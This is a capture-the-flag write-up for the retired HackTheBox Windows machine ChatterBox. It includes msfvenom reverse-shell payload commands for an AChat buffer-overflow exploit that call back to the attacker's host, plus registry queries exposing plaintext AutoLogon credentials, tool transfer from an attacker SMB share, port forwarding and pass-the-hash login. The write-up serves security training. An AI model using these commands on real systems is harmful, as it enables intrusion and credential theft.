ChatterBox is a retired vulnerable Windows machine available from HackTheBox. The machine maker is lkys37en, thank you. It has a Medium difficulty with a rating of 4 out of 10.
Kali Linux is used to carry out the enumeration, exploitation and privilege escalation. No automated tools are needed. The goal is to obtain root shell together with both user & root flags.
Exploitation Summary (tap to reveal)
Initial Exploitation
- Vulnerability: Buffer overflow of AChat
- Explanation: AChat service is vulnerable to buffer overflow which is exploitable to allow remote code execution.
Privilege Escalation
- Vulnerability: Credentials exposure in Windows registry
- Explanation: Autologon credentials is stored in plaintext in Windows registry. Exposed credentials leads to gaining access as administrator.
Enumeration
nmap -p- -A -T4 10.10.10.74
TCP 9255: AChat chat system httpd TCP 9256: AChat chat system
Initial Exploitation
The scan takes a long time to finish. All ports are filtered except 9255 and 9256. That means the machine is running a firewall. According to nmap, Port 9255 & 9256 are both running a service called AChat chat system. Let’s see if there’s any information browsing the ports:
Port 9255 returns a blank page while port 9256 returns text ERROR. Further enumeration on the ports does not yield any additional information. The only hint left is the service name AChat. Googling about this chat system shows that AChat is using UDP port 9256 for communication. Let’s do a nmap scan on the port:
nmap -p 9256 -Pn -sU -A 10.10.10.74
Unfortunately, nmap scan does not give us any additional information. Let’s check if the AChat service has any exploitable vulnerabilities:
searchsploit AChat
Turns out Achat version 0.150 beta7 is vulnerable to remote buffer overflow. There are exploits using python or Metasploit. I did a quick test using Metasploit and it just failed.
Let’s check out the python exploit script. Examining the script shows that we need to replace the payload and the server_address. The script has sample msfvenom command to generate the payload. I use that to create a payload to obtain a meterpreter reverse shell:
msfvenom -a x86 --platform Windows -e x86/unicode_mixed -p windows/meterpreter/reverse_tcp RHOST=10.10.10.74 LHOST=10.10.14.30 LPORT=80 exitfunc=thread -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
I also update the server ip address and then execute the python script: python 360.25py:
Good news! I got the meterpreter session. Bad news: it dies soon after. I tried to migrate the session but couldn’t finish before it dies.
I then turn to regular reverse shell to give it a shot. Generate another payload using windows/shell_reverse_tcp and try again:
msfvenom -a x86 --platform Windows -e x86/unicode_mixed -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.14.30 LPORT=80 exitfunc=thread -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
Awesome. Initial shell obtained as alfred. Let’s fetch the user flag.
Privilege Escalation
After fetching the user flag, I start to enumerate the system further to look for ways to gain administrator access. Interestingly, user alfred is able to browse Administrator directory which normally results in permission denial. I can list the root.txt file but fail to read the content:
Let’s find out more info about the directory and the file:
Turns out user alfred owns the file root.txt with full access to the directory but does not have permissions on the file. Since alfred is the owner, we can grant him the permission to the file:
icacls root.txt /grant Alfred:(F)
All right! We get the root flag without root shell. But our journey does not stop here. Further enumeration reveals AutoLogon credentials in the registry:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
We found the password Welcome1!. While the password is for Alfred, the password may be reused and so I decide to try to use it to login as administrator.
Running netstat command shows that port 445 is available locally. We can use plink.exe to remote port forward to our kali machine. I use impacket’s smbserver to run a smbserver at kali box to serve the file:
impacket-smbserver share pwd -smb2support
Then copy it to \users\alfred directory:
copy \\10.10.14.30\share\plink.exe \users\alfred\plink.exe
After loading plink.exe, stop the smbserver and establish the remote port forwarding:
\users\alfred\plink.exe -l root -R 445:127.0.0.1:445 10.10.14.30 -P 22
Now port 445 of machine ChatterBox is available at kali box’s port 445 (i.e. 127.0.0.1:445). Let’s login using pth-winexe:
pth-winexe -U administrator //127.0.0.1 cmd.exe
That’s it. We login as the administrator! We sure can get the root.txt after login as administrator.
